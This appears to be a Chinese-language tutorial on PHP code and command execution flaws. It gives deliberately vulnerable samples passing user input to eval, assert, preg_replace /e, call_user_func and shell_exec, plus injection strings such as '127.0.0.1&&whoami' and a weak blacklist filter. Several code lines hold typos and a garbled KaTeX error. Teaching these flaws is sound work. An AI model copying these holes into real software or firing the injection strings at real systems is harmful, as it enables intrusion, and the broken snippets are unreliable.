在PHP下,允许命令执行的函数有:
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
定义和用法
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
语法
eval(phpcode)
phpcode 必需。规定要计算的 PHP 代码。
例子
$a = $_GET['a'];
eval($a);
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo();
定义和用法
检查一个断言是否为 FALSE
语法
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
$a = $_GET['a'];
assert($a);
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo();
http://127.0.0.1/oscommand/1.php?a=phpinfo()
ps: eval()和assert()区别
eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高
定义和语法
preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '\[' at position 12: limit = -1 \̲[̲, int &count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
例子
$a = $_GET['a'];
echo preg_replace("/test/e", $a, "just test!")
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo()
ps: 在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。
定义和用法
call_user_func — 把第一个参数作为回调函数调用
语法
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
例子
call_user_func($_GET['a'],$_GET['b']);
?>
http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()
if (isset($_POST['submit'])){
$target = $_REQUEST['ip'];
if(isset(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping ' . $taeget);
echo ''
.$cmd.'
';
} else {
$cmd = shell_exec('ping -c 3 ' . $target);
echo ''.$cmd.'' } }
页面通过request获取传入的ip参数,并获取当前系统类型之后拼接相应命令"ping + target IP"并执行,在此过程中IP参数可控,所以在IP可拼接命令。
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.1||whoami
$substitutions = array(
'&&' => '',
';' => '',
'||' => '',
);
$target = str_replace(array_keys($substitutions), $substitution, $target);